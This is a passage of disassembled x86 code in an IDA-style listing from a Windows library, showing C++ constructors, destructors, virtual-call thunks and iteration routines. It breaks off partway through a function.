mov edi, [esp+0Ch+arg_4]
mov esi, eax
mov ecx, [esi+10h]
test ecx, ecx
jz short loc_69B6AE89
mov eax, dword_69B9B328
mov ebx, [eax+8]
mov eax, [ecx]
push ebp
mov ebp, [edi]
call dword ptr [eax+2Ch]
push eax
push ebx
mov ecx, edi
call dword ptr [ebp+0ACh]
pop ebp
loc_69B6AE89: ; CODE XREF: sub_69B6AE56+16j
mov eax, dword_69B9B320
mov ecx, [esi+14h]
mov esi, [eax+8]
mov eax, [ecx]
mov ebx, [edi]
call dword ptr [eax+2Ch]
push eax
push esi
mov ecx, edi
call dword ptr [ebx+0ACh]
pop edi
pop esi
pop ebx
retn 8
sub_69B6AE56 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B6B06D
loc_69B6AEAB: ; CODE XREF: sub_69B6B06D+Dj
push esi
mov esi, ecx
call sub_69B6D38A
push [esp+4+arg_4]
xor eax, eax
push [esp+8+arg_0]
mov dword ptr [esi], offset off_69B13A40
mov dword ptr [esi+8], offset off_69B139E0
mov dword ptr [esi+10h], offset off_69B13948
mov [esi+38h], eax
mov [esi+3Ch], eax
mov ecx, esi
mov [esi+40h], eax
call sub_69B6AB37
mov eax, esi
pop esi
retn 8
; END OF FUNCTION CHUNK FOR sub_69B6B06D
; =============== S U B R O U T I N E =======================================
sub_69B6AEE7 proc near ; DATA XREF: .text:69B139B8o
fld ds:dbl_69B29700
retn
sub_69B6AEE7 endp
; =============== S U B R O U T I N E =======================================
sub_69B6AEEE proc near ; DATA XREF: .text:69B139ECo
arg_0 = byte ptr 4
sub ecx, 8
jmp sub_69B6B014
sub_69B6AEEE endp
; =============== S U B R O U T I N E =======================================
sub_69B6AEF6 proc near ; DATA XREF: .text:69B139FCo
sub ecx, 8
jmp sub_69B6AA10
sub_69B6AEF6 endp
; ---------------------------------------------------------------------------
loc_69B6AEFE: ; DATA XREF: .text:69B13954o
sub ecx, 10h
jmp sub_69B6B014
; ---------------------------------------------------------------------------
loc_69B6AF06: ; DATA XREF: .text:69B13964o
sub ecx, 10h
jmp sub_69B6AA10
; =============== S U B R O U T I N E =======================================
sub_69B6AF0E proc near ; DATA XREF: .text:69B13A1Co
mov ecx, [ecx+30h]
mov eax, [ecx]
jmp dword ptr [eax+40h]
sub_69B6AF0E endp
; =============== S U B R O U T I N E =======================================
sub_69B6AF16 proc near ; DATA XREF: .text:69B139A8o
test byte ptr [ecx+20h], 80h
lea eax, [ecx+30h]
jnz short loc_69B6AF22
lea eax, [ecx+2Ch]
loc_69B6AF22: ; CODE XREF: sub_69B6AF16+7j
mov eax, [eax]
mov edx, [eax]
mov ecx, eax
jmp dword ptr [edx+60h]
sub_69B6AF16 endp
; =============== S U B R O U T I N E =======================================
sub_69B6AF2B proc near ; DATA XREF: .text:69B139ACo
test byte ptr [ecx+20h], 80h
lea eax, [ecx+30h]
jnz short loc_69B6AF37
lea eax, [ecx+2Ch]
loc_69B6AF37: ; CODE XREF: sub_69B6AF2B+7j
mov eax, [eax]
mov edx, [eax]
mov ecx, eax
jmp dword ptr [edx+64h]
sub_69B6AF2B endp
; =============== S U B R O U T I N E =======================================
sub_69B6AF40 proc near ; DATA XREF: .text:69B139B0o
test byte ptr [ecx+20h], 80h
lea eax, [ecx+30h]
jnz short loc_69B6AF4C
lea eax, [ecx+2Ch]
loc_69B6AF4C: ; CODE XREF: sub_69B6AF40+7j
mov eax, [eax]
mov edx, [eax]
mov ecx, eax
jmp dword ptr [edx+68h]
sub_69B6AF40 endp
; =============== S U B R O U T I N E =======================================
sub_69B6AF55 proc near ; DATA XREF: .text:69B139B4o
test byte ptr [ecx+20h], 80h
lea eax, [ecx+30h]
jnz short loc_69B6AF61
lea eax, [ecx+2Ch]
loc_69B6AF61: ; CODE XREF: sub_69B6AF55+7j
mov eax, [eax]
mov edx, [eax]
mov ecx, eax
jmp dword ptr [edx+6Ch]
sub_69B6AF55 endp
; =============== S U B R O U T I N E =======================================
sub_69B6AF6A proc near ; DATA XREF: .text:69B13980o
test byte ptr [ecx+20h], 80h
lea eax, [ecx+30h]
jnz short loc_69B6AF76
lea eax, [ecx+2Ch]
loc_69B6AF76: ; CODE XREF: sub_69B6AF6A+7j
mov eax, [eax]
mov edx, [eax]
mov ecx, eax
jmp dword ptr [edx+38h]
sub_69B6AF6A endp
; =============== S U B R O U T I N E =======================================
sub_69B6AF7F proc near ; DATA XREF: .text:69B13984o
xor eax, eax
cmp [ecx+2Ch], eax
jz short locret_69B6AF99
test byte ptr [ecx+20h], 80h
lea eax, [ecx+30h]
jnz short loc_69B6AF92
lea eax, [ecx+2Ch]
loc_69B6AF92: ; CODE XREF: sub_69B6AF7F+Ej
mov ecx, [eax]
mov eax, [ecx]
jmp dword ptr [eax+3Ch]
; ---------------------------------------------------------------------------
locret_69B6AF99: ; CODE XREF: sub_69B6AF7F+5j
retn
sub_69B6AF7F endp
; =============== S U B R O U T I N E =======================================
sub_69B6AF9A proc near ; DATA XREF: .text:69B13988o
test byte ptr [ecx+20h], 80h
lea eax, [ecx+30h]
jnz short loc_69B6AFA6
lea eax, [ecx+2Ch]
loc_69B6AFA6: ; CODE XREF: sub_69B6AF9A+7j
mov eax, [eax]
mov edx, [eax]
mov ecx, eax
jmp dword ptr [edx+40h]
sub_69B6AF9A endp
; =============== S U B R O U T I N E =======================================
sub_69B6AFAF proc near ; CODE XREF: sub_69B6AFDD+3j
; sub_69B6AFE2+3j
; DATA XREF: ...
push esi
mov esi, ecx
lea ecx, [esi+10h]
mov eax, [ecx]
push 0
call dword ptr [eax+80h]
push 0
lea eax, [esi+40h]
push eax
call sub_69B17320
push 0
lea eax, [esi+38h]
push eax
call sub_69B17320
mov ecx, esi
pop esi
jmp sub_69B6CBC6
sub_69B6AFAF endp
; =============== S U B R O U T I N E =======================================
sub_69B6AFDD proc near ; DATA XREF: .text:69B13A14o
sub ecx, 8
jmp short sub_69B6AFAF
sub_69B6AFDD endp
; =============== S U B R O U T I N E =======================================
sub_69B6AFE2 proc near ; DATA XREF: .text:69B1397Co
sub ecx, 10h
jmp short sub_69B6AFAF
sub_69B6AFE2 endp
; =============== S U B R O U T I N E =======================================
sub_69B6AFE7 proc near ; CODE XREF: sub_69B6B055+Fp
push esi
mov esi, ecx
call sub_69B6D38A
xor eax, eax
mov dword ptr [esi], offset off_69B13A40
mov dword ptr [esi+8], offset off_69B139E0
mov dword ptr [esi+10h], offset off_69B13948
mov [esi+38h], eax
mov [esi+3Ch], eax
mov [esi+40h], eax
mov eax, esi
pop esi
retn 4
sub_69B6AFE7 endp
; =============== S U B R O U T I N E =======================================
sub_69B6B014 proc near ; CODE XREF: sub_69B6AEEE+3j
; .text:69B6AF01j
; DATA XREF: ...
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B6B02F
test [esp+4+arg_0], 1
jz short loc_69B6B029
push esi
call sub_69B1829F
loc_69B6B029: ; CODE XREF: sub_69B6B014+Dj
mov eax, esi
pop esi
retn 4
sub_69B6B014 endp
; =============== S U B R O U T I N E =======================================
sub_69B6B02F proc near ; CODE XREF: sub_69B6B014+3p
push esi
mov esi, ecx
lea eax, [esi+40h]
push eax
call sub_69B17230
lea eax, [esi+3Ch]
push eax
call sub_69B17230
lea eax, [esi+38h]
push eax
call sub_69B17230
mov ecx, esi
pop esi
jmp sub_69B65BC0
sub_69B6B02F endp
; =============== S U B R O U T I N E =======================================
sub_69B6B055 proc near ; DATA XREF: .text:69B6AA1Co
push 48h
call sub_69B17EF3
test eax, eax
jz short loc_69B6B06A
push 0
mov ecx, eax
call sub_69B6AFE7
retn
; ---------------------------------------------------------------------------
loc_69B6B06A: ; CODE XREF: sub_69B6B055+9j
xor eax, eax
retn
sub_69B6B055 endp
; =============== S U B R O U T I N E =======================================
sub_69B6B06D proc near ; CODE XREF: sub_69B62A0F+17p
; sub_69B732DB+11p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 69B6AEAB SIZE 0000003C BYTES
push 48h
call sub_69B17EF3
test eax, eax
jz short loc_69B6B07F
mov ecx, eax
jmp loc_69B6AEAB
; ---------------------------------------------------------------------------
loc_69B6B07F: ; CODE XREF: sub_69B6B06D+9j
xor eax, eax
retn 8
sub_69B6B06D endp
; =============== S U B R O U T I N E =======================================
sub_69B6B084 proc near ; CODE XREF: sub_69B6B4C9+3j
; .text:69B6B4D9j
; DATA XREF: ...
mov eax, offset off_69B6B08C
retn
sub_69B6B084 endp
; ---------------------------------------------------------------------------
align 4
off_69B6B08C dd offset off_69B29C7C ; DATA XREF: sub_69B6B084o
dd offset loc_69B6B525
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B6B094 proc near ; DATA XREF: .text:69B13AE4o
arg_0 = dword ptr 8
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
mov esi, ecx
cmp dword ptr [esi+3Ch], 0
jz short loc_69B6B0D9
cmp dword ptr [esi+2Ch], 0
jnz short loc_69B6B0B5
mov eax, [esi]
push 0
push [ebp+arg_8]
push [ebp+arg_0]
call dword ptr [eax+48h]
jmp short loc_69B6B0C4
; ---------------------------------------------------------------------------
loc_69B6B0B5: ; CODE XREF: sub_69B6B094+10j
push [ebp+arg_8]
mov ecx, [esi+30h]
call sub_69B1980A
test eax, eax
jnz short loc_69B6B0E0
loc_69B6B0C4: ; CODE XREF: sub_69B6B094+1Fj
add esi, 0FFFFFFF0h
jmp short loc_69B6B0CE
; ---------------------------------------------------------------------------
loc_69B6B0C9: ; CODE XREF: sub_69B6B094+43j
cmp [ebp+arg_8], eax
jz short loc_69B6B0E0
loc_69B6B0CE: ; CODE XREF: sub_69B6B094+33j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+44h]
test eax, eax
jnz short loc_69B6B0C9
loc_69B6B0D9: ; CODE XREF: sub_69B6B094+Aj
xor eax, eax
loc_69B6B0DB: ; CODE XREF: sub_69B6B094+4Fj
pop esi
pop ebp
retn 0Ch
; ---------------------------------------------------------------------------
loc_69B6B0E0: ; CODE XREF: sub_69B6B094+2Ej
; sub_69B6B094+38j
mov eax, [ebp+arg_8]
jmp short loc_69B6B0DB
sub_69B6B094 endp
; =============== S U B R O U T I N E =======================================
sub_69B6B0E5 proc near ; DATA XREF: .text:69B13B7Co
mov eax, [ecx+44h]
neg eax
sbb eax, eax
and eax, 0FFFFFFF4h
add eax, 319h
retn
sub_69B6B0E5 endp
; =============== S U B R O U T I N E =======================================
sub_69B6B0F5 proc near ; DATA XREF: .text:69B13BC8o
mov eax, dword_69B9B3D0
retn
sub_69B6B0F5 endp
; =============== S U B R O U T I N E =======================================
sub_69B6B0FB proc near ; CODE XREF: sub_69B6B4DE+3j
; sub_69B6B4E6+3j
; DATA XREF: ...
push esi
push edi
mov esi, ecx
xor edi, edi
push edi
lea eax, [esi+38h]
push eax
call sub_69B17320
push edi
lea eax, [esi+3Ch]
push eax
call sub_69B17320
push edi
lea eax, [esi+48h]
push eax
call sub_69B17320
push edi
lea eax, [esi+4Ch]
push eax
call sub_69B17320
push edi
add esi, 40h
push esi
call sub_69B17320
pop edi
pop esi
retn
sub_69B6B0FB endp
; =============== S U B R O U T I N E =======================================
sub_69B6B136 proc near ; CODE XREF: sub_69B6B174+9p
; sub_69B6B18A+28p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
push esi
mov esi, ecx
jz short loc_69B6B170
cmp dword ptr [esi+4Ch], 0
jz short loc_69B6B14C
cmp [esi+38h], eax
jz short loc_69B6B161
loc_69B6B14C: ; CODE XREF: sub_69B6B136+Fj
push eax
lea eax, [esi+38h]
push eax
call sub_69B17320
push 0
lea eax, [esi+3Ch]
push eax
call sub_69B17320
loc_69B6B161: ; CODE XREF: sub_69B6B136+14j
call sub_69B315A6
push eax
add esi, 40h
push esi
call sub_69B17320
loc_69B6B170: ; CODE XREF: sub_69B6B136+9j
pop esi
retn 4
sub_69B6B136 endp
; =============== S U B R O U T I N E =======================================
sub_69B6B174 proc near ; DATA XREF: .text:69B13ADCo
push esi
mov esi, ecx
push dword ptr [esi+28h]
lea ecx, [esi-10h]
call sub_69B6B136
mov ecx, esi
pop esi
jmp sub_69B6CCB6
sub_69B6B174 endp
; =============== S U B R O U T I N E =======================================
sub_69B6B18A proc near ; DATA XREF: .text:69B13AE0o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push edi
push [esp+8+arg_8]
mov edi, [esp+0Ch+arg_4]
push edi
push [esp+10h+arg_0]
mov esi, ecx
call sub_69B6CD21
test edi, edi
jz short loc_69B6B1B9
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+0B4h]
push eax
lea ecx, [esi-10h]
call sub_69B6B136
jmp short loc_69B6B1DA
; ---------------------------------------------------------------------------
loc_69B6B1B9: ; CODE XREF: sub_69B6B18A+18j
push 0
lea eax, [esi+28h]
push eax
call sub_69B17320
push 0
lea eax, [esi+2Ch]
push eax
call sub_69B17320
push 0
lea eax, [esi+30h]
push eax
call sub_69B17320
loc_69B6B1DA: ; CODE XREF: sub_69B6B18A+2Dj
and dword ptr [esi+34h], 0
pop edi
pop esi
retn 0Ch
sub_69B6B18A endp
; =============== S U B R O U T I N E =======================================
sub_69B6B1E3 proc near ; DATA XREF: .text:69B13B18o
arg_0 = dword ptr 4
cmp byte ptr [esp+arg_0], 0
push esi
mov esi, ecx
jz short loc_69B6B1F8
push dword ptr [esi+28h]
lea ecx, [esi-10h]
call sub_69B6B136
loc_69B6B1F8: ; CODE XREF: sub_69B6B1E3+8j
push [esp+4+arg_0]
mov ecx, esi
call sub_69B6CD55
pop esi
retn 4
sub_69B6B1E3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B6B207 proc near ; CODE XREF: sub_69B6B250+61p
; sub_69B6B43F+10p
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_8 = dword ptr -8
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
xor ebx, ebx
lea esi, [ebp+var_10]
push esi
push ebx
mov eax, ecx
mov ecx, [eax+4Ch]
push ebx
push dword ptr [eax+18h]
mov [ebp+var_10], ebx
mov [ebp+var_C], bl
mov edx, [ecx]
call dword ptr [edx+54h]
push 1
mov eax, esi
push eax
push 5
lea ecx, [ebp+var_10]
call sub_69B64008
cmp [ebp+var_10], 5
jnz short loc_69B6B242
mov ebx, [ebp+var_8]
loc_69B6B242: ; CODE XREF: sub_69B6B207+36j
lea ecx, [ebp+var_10]
call sub_69B466CC
pop esi
mov eax, ebx
pop ebx
leave
retn
sub_69B6B207 endp
; =============== S U B R O U T I N E =======================================
sub_69B6B250 proc near ; DATA XREF: .text:69B13BD4o
push 30h
push offset dword_69B6B3C8
call sub_69B19C5C
mov esi, ecx
mov [ebp-1Ch], esi
mov eax, [esi+14h]
mov [ebp-20h], eax
mov eax, [esi+38h]
xor ebx, ebx
cmp eax, ebx
jz loc_69B6B3A0
loc_69B6B274: ; CODE XREF: sub_69B6B250+107j
; sub_69B6B250+16Dj
cmp [esi+3Ch], ebx
jnz loc_69B6B350
cmp [ebp-20h], ebx
jz short loc_69B6B294
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+40h]
mov [ebp-24h], eax
cmp eax, ebx
jz loc_69B6B3A0
loc_69B6B294: ; CODE XREF: sub_69B6B250+30j
cmp [esi+4Ch], ebx
jnz short loc_69B6B2A6
mov ecx, [ebp-24h]
mov eax, [ecx]
push 1
push ebx
call dword ptr [eax+4Ch]
jmp short loc_69B6B2C7
; ---------------------------------------------------------------------------
loc_69B6B2A6: ; CODE XREF: sub_69B6B250+47j
lea edi, [esi+48h]
mov eax, [edi]
cmp eax, ebx
jnz short loc_69B6B2C7
mov ecx, esi
call sub_69B6B207
push eax
push edi
call sub_69B17320
mov eax, [edi]
cmp eax, ebx
jz loc_69B6B3A0
loc_69B6B2C7: ; CODE XREF: sub_69B6B250+54j
; sub_69B6B250+5Dj
mov edi, eax
cmp [ebp-20h], ebx
jz short loc_69B6B2D5
mov ecx, esi
call sub_69B65903
loc_69B6B2D5: ; CODE XREF: sub_69B6B250+7Cj
cmp edi, ebx
jz short loc_69B6B350
mov [ebp-4], ebx
mov eax, [esi+38h]
mov [ebp-28h], eax
mov ecx, [eax+70h]
mov [ebp-2Ch], ecx
mov [ebp-30h], ecx
mov [ebp-34h], eax
mov al, [eax+82h]
mov [ebp-38h], al
push dword ptr [ebp-38h]
push edi
push 4
call sub_69B4DE11
mov [ebp-3Ch], eax
push eax
lea ecx, [esi+3Ch]
call sub_69B199CC
mov [esi+44h], ebx
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_69B6B350
; ---------------------------------------------------------------------------
loc_69B6B317: ; DATA XREF: .text:69B6B3CCo
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B6B320: ; DATA XREF: .text:69B6B3D0o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
test eax, 0C00CE000h
jz short loc_69B6B342
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_69B6B3A0
; ---------------------------------------------------------------------------
loc_69B6B342: ; CODE XREF: sub_69B6B250+EAj
call sub_69B2E860
or dword ptr [ebp-4], 0FFFFFFFFh
mov esi, [ebp-1Ch]
xor ebx, ebx
loc_69B6B350: ; CODE XREF: sub_69B6B250+27j
; sub_69B6B250+87j ...
lea edi, [esi+3Ch]
mov eax, [edi]
cmp eax, ebx
jz loc_69B6B274
mov eax, [eax+0Ch]
mov [ebp-40h], eax
cmp [esi+44h], eax
jge short loc_69B6B39B
loc_69B6B368: ; CODE XREF: sub_69B6B250+147j
mov ecx, [edi]
push dword ptr [esi+44h]
call sub_69B8A163
mov ecx, [esi+38h]
push eax
call sub_69B3E780
mov ebx, eax
inc dword ptr [esi+44h]
test ebx, ebx
jz short loc_69B6B391
mov ecx, [esi+40h]
push ebx
call sub_69B1980A
test eax, eax
jz short loc_69B6B3A8
loc_69B6B391: ; CODE XREF: sub_69B6B250+132j
mov eax, [ebp-40h]
cmp [esi+44h], eax
jl short loc_69B6B368
xor ebx, ebx
loc_69B6B39B: ; CODE XREF: sub_69B6B250+116j
cmp [esi+4Ch], ebx
jz short loc_69B6B3B6
loc_69B6B3A0: ; CODE XREF: sub_69B6B250+1Ej
; sub_69B6B250+3Ej ...
xor eax, eax
loc_69B6B3A2: ; CODE XREF: sub_69B6B250+164j
call sub_69B1853C
retn
; ---------------------------------------------------------------------------
loc_69B6B3A8: ; CODE XREF: sub_69B6B250+13Fj
push ebx
push ebx
mov ecx, [esi+40h]
call sub_69B3182D
mov eax, ebx
jmp short loc_69B6B3A2
; ---------------------------------------------------------------------------
loc_69B6B3B6: ; CODE XREF: sub_69B6B250+14Ej
push ebx
push edi
call sub_69B17320
jmp loc_69B6B274
sub_69B6B250 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 8
dword_69B6B3C8 dd 0FFFFFFFFh dd offset loc_69B6B317
dd offset loc_69B6B320
; =============== S U B R O U T I N E =======================================
sub_69B6B3D4 proc near ; DATA XREF: .text:69B13B14o
arg_0 = dword ptr 4
push esi
push edi
push [esp+8+arg_0]
mov esi, ecx
call sub_69B6CFE2
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+10h]
mov edi, eax
lea eax, [esi+38h]
push eax
lea ecx, [edi+48h]
call sub_69B4D414
lea eax, [esi+3Ch]
push eax
lea ecx, [edi+4Ch]
call sub_69B4D414
lea eax, [esi+2Ch]
push eax
lea ecx, [edi+3Ch]
call sub_69B4D414
lea eax, [esi+28h]
push eax
lea ecx, [edi+38h]
call sub_69B4D414
cmp dword ptr [esi+8], 0
jz short loc_69B6B42F
call sub_69B315A6
push eax
add esi, 30h
push esi
call sub_69B17320
loc_69B6B42F: ; CODE XREF: sub_69B6B3D4+4Aj
mov eax, edi
add edi, 10h
neg eax
sbb eax, eax
and eax, edi
pop edi
pop esi
retn 4
sub_69B6B3D4 endp
; =============== S U B R O U T I N E =======================================
sub_69B6B43F proc near ; DATA XREF: .text:69B13BDCo
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp dword ptr [ecx+4Ch], 0
jz short locret_69B6B480
push esi
lea esi, [ecx+48h]
mov eax, [esi]
test eax, eax
jnz short loc_69B6B461
call sub_69B6B207
push eax
push esi
call sub_69B17320
mov eax, [esi]
test eax, eax
jz short loc_69B6B47F
loc_69B6B461: ; CODE XREF: sub_69B6B43F+Ej
mov ecx, [esp+4+arg_0]
push 1
push eax
push 0
push 0
push 1
call sub_69B3D2F2
mov ecx, [esp+4+arg_4]
mov edx, [ecx]
push 0
push eax
call dword ptr [edx+7Ch]
loc_69B6B47F: ; CODE XREF: sub_69B6B43F+20j
pop esi
locret_69B6B480: ; CODE XREF: sub_69B6B43F+4j
retn 8
sub_69B6B43F endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B6B53D
loc_69B6B483: ; CODE XREF: sub_69B6B53D+Dj
push esi
push [esp+4+arg_C]
mov esi, ecx
push [esp+8+arg_8]
push [esp+0Ch+arg_4]
call sub_69B6D314
push [esp+4+arg_0]
mov dword ptr [esi], offset off_69B13B90
mov dword ptr [esi+8], offset off_69B13B30
mov dword ptr [esi+10h], offset off_69B13A98
and dword ptr [esi+40h], 0
lea ecx, [esi+4Ch]
call sub_69B1E084
mov eax, esi
pop esi
retn 10h
; END OF FUNCTION CHUNK FOR sub_69B6B53D
; =============== S U B R O U T I N E =======================================
sub_69B6B4C1 proc near ; DATA XREF: .text:69B13B3Co
arg_0 = byte ptr 4
sub ecx, 8
jmp sub_69B6B554
sub_69B6B4C1 endp
; =============== S U B R O U T I N E =======================================
sub_69B6B4C9 proc near ; DATA XREF: .text:69B13B4Co
sub ecx, 8
jmp sub_69B6B084
sub_69B6B4C9 endp
; ---------------------------------------------------------------------------
loc_69B6B4D1: ; DATA XREF: .text:69B13AA4o
sub ecx, 10h
jmp short sub_69B6B554
; ---------------------------------------------------------------------------
loc_69B6B4D6: ; DATA XREF: .text:69B13AB4o
sub ecx, 10h
jmp sub_69B6B084
; =============== S U B R O U T I N E =======================================
sub_69B6B4DE proc near ; DATA XREF: .text:69B13B64o
sub ecx, 8
jmp sub_69B6B0FB
sub_69B6B4DE endp
; =============== S U B R O U T I N E =======================================
sub_69B6B4E6 proc near ; DATA XREF: .text:69B13ACCo
sub ecx, 10h
jmp sub_69B6B0FB
sub_69B6B4E6 endp
; =============== S U B R O U T I N E =======================================
sub_69B6B4EE proc near ; CODE XREF: .text:69B6B534p
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_69B6D3CA
xor eax, eax
mov dword ptr [esi], offset off_69B13B90
mov dword ptr [esi+8], offset off_69B13B30
mov dword ptr [esi+10h], offset off_69B13A98
mov [esi+38h], eax
mov [esi+3Ch], eax
mov [esi+40h], eax
mov [esi+48h], eax
mov [esi+4Ch], eax
mov eax, esi
pop esi
retn 4
sub_69B6B4EE endp
; ---------------------------------------------------------------------------
loc_69B6B525: ; DATA XREF: .text:69B6B090o
push 50h
call sub_69B17EF3
test eax, eax
jz short loc_69B6B53A
push 0
mov ecx, eax
call sub_69B6B4EE
retn
; ---------------------------------------------------------------------------
loc_69B6B53A: ; CODE XREF: .text:69B6B52Ej
xor eax, eax
retn
; =============== S U B R O U T I N E =======================================
sub_69B6B53D proc near ; CODE XREF: sub_69B62C49:loc_69B62CB6p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
; FUNCTION CHUNK AT 69B6B483 SIZE 0000003E BYTES
push 50h
call sub_69B17EF3
test eax, eax
jz short loc_69B6B54F
mov ecx, eax
jmp loc_69B6B483
; ---------------------------------------------------------------------------
loc_69B6B54F: ; CODE XREF: sub_69B6B53D+9j
xor eax, eax
retn 10h
sub_69B6B53D endp
; =============== S U B R O U T I N E =======================================
sub_69B6B554 proc near ; CODE XREF: sub_69B6B4C1+3j
; .text:69B6B4D4j
; DATA XREF: ...
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B6B56F
test [esp+4+arg_0], 1
jz short loc_69B6B569
push esi
call sub_69B1829F
loc_69B6B569: ; CODE XREF: sub_69B6B554+Dj
mov eax, esi
pop esi
retn 4
sub_69B6B554 endp
; =============== S U B R O U T I N E =======================================
sub_69B6B56F proc near ; CODE XREF: sub_69B6B554+3p
push esi
mov esi, ecx
lea eax, [esi+4Ch]
push eax
call sub_69B17230
lea eax, [esi+48h]
push eax
call sub_69B17230
lea eax, [esi+40h]
push eax
call sub_69B17230
lea eax, [esi+3Ch]
push eax
call sub_69B17230
lea eax, [esi+38h]
push eax
call sub_69B17230
mov ecx, esi
pop esi
jmp sub_69B65BC0
sub_69B6B56F endp
; =============== S U B R O U T I N E =======================================
sub_69B6B5A7 proc near ; CODE XREF: sub_69B6B7EE+3j
; .text:69B6B7F9j
; DATA XREF: ...
mov eax, offset off_69B6B5B0
retn
sub_69B6B5A7 endp
; ---------------------------------------------------------------------------
align 10h
off_69B6B5B0 dd offset off_69B29C7C ; DATA XREF: sub_69B6B5A7o
dd offset loc_69B6B824
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B6B5B8 proc near ; DATA XREF: .text:69B13C2Co
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_0]
test edi, edi
mov esi, ecx
jz short loc_69B6B60E
push dword ptr [esi+28h]
mov eax, [edi]
push 0
mov ecx, edi
call dword ptr [eax+4]
cmp dword ptr [esi-4], 2
jnz short loc_69B6B5F9
test eax, eax
jz short loc_69B6B5F9
lea ecx, [esi-10h]
neg ecx
sbb ecx, ecx
and ecx, esi
cmp eax, ecx
jz short loc_69B6B5F9
push [ebp+arg_8]
mov edx, [eax]
push [ebp+arg_4]
mov ecx, eax
push edi
call dword ptr [edx+4Ch]
jmp short loc_69B6B610
; ---------------------------------------------------------------------------
loc_69B6B5F9: ; CODE XREF: sub_69B6B5B8+1Ej
; sub_69B6B5B8+22j ...
push dword ptr [esi+28h]
mov eax, [edi]
push 0
mov ecx, edi
call dword ptr [eax]
cmp [ebp+arg_8], eax
jnz short loc_69B6B60E
mov eax, [ebp+arg_8]
jmp short loc_69B6B610
; ---------------------------------------------------------------------------
loc_69B6B60E: ; CODE XREF: sub_69B6B5B8+Cj
; sub_69B6B5B8+4Fj
xor eax, eax
loc_69B6B610: ; CODE XREF: sub_69B6B5B8+3Fj
; sub_69B6B5B8+54j
pop edi
pop esi
pop ebp
retn 0Ch
sub_69B6B5B8 endp
; =============== S U B R O U T I N E =======================================
sub_69B6B616 proc near ; DATA XREF: .text:69B13C34o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
mov edi, [esp+8+arg_0]
test edi, edi
mov esi, ecx
jz short loc_69B6B668
push dword ptr [esi+28h]
mov eax, [edi]
push 0
mov ecx, edi
call dword ptr [eax+4]
cmp dword ptr [esi-4], 2
jnz short loc_69B6B653
test eax, eax
jz short loc_69B6B653
lea ecx, [esi-10h]
neg ecx
sbb ecx, ecx
and ecx, esi
cmp eax, ecx
jz short loc_69B6B653
push [esp+8+arg_4]
mov edx, [eax]
push edi
mov ecx, eax
call dword ptr [edx+54h]
jmp short loc_69B6B66B
; ---------------------------------------------------------------------------
loc_69B6B653: ; CODE XREF: sub_69B6B616+1Cj
; sub_69B6B616+20j ...
push dword ptr [esi+28h]
mov eax, [edi]
push 0
mov ecx, edi
call dword ptr [eax]
cmp [esp+8+arg_4], eax
jnz short loc_69B6B668
xor eax, eax
jmp short loc_69B6B66B
; ---------------------------------------------------------------------------
loc_69B6B668: ; CODE XREF: sub_69B6B616+Aj
; sub_69B6B616+4Cj
or eax, 0FFFFFFFFh
loc_69B6B66B: ; CODE XREF: sub_69B6B616+3Bj
; sub_69B6B616+50j
pop edi
pop esi
retn 8
sub_69B6B616 endp
; =============== S U B R O U T I N E =======================================
sub_69B6B670 proc near ; DATA XREF: .text:69B13C38o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
mov edi, [esp+8+arg_0]
test edi, edi
mov esi, ecx
jz short loc_69B6B6C5
push dword ptr [esi+28h]
mov eax, [edi]
push 0
mov ecx, edi
call dword ptr [eax+4]
cmp dword ptr [esi-4], 2
jnz short loc_69B6B6AD
test eax, eax
jz short loc_69B6B6AD
lea ecx, [esi-10h]
neg ecx
sbb ecx, ecx
and ecx, esi
cmp eax, ecx
jz short loc_69B6B6AD
push [esp+8+arg_4]
mov edx, [eax]
push edi
mov ecx, eax
call dword ptr [edx+58h]
jmp short loc_69B6B6C7
; ---------------------------------------------------------------------------
loc_69B6B6AD: ; CODE XREF: sub_69B6B670+1Cj
; sub_69B6B670+20j ...
push dword ptr [esi+28h]
mov eax, [edi]
push 0
mov ecx, edi
call dword ptr [eax]
xor ecx, ecx
cmp [esp+8+arg_4], eax
setz cl
mov al, cl
jmp short loc_69B6B6C7
; ---------------------------------------------------------------------------
loc_69B6B6C5: ; CODE XREF: sub_69B6B670+Aj
mov al, 1
loc_69B6B6C7: ; CODE XREF: sub_69B6B670+3Bj
; sub_69B6B670+53j
pop edi
pop esi
retn 8
sub_69B6B670 endp
; =============== S U B R O U T I N E =======================================
sub_69B6B6CC proc near ; DATA XREF: .text:69B13D1Co
push esi
mov esi, ecx
mov ecx, [esi+18h]
test ecx, ecx
jz short loc_69B6B6EB
cmp byte ptr [esi+3Ch], 1
jz short loc_69B6B6EB
push dword ptr [esi+38h]
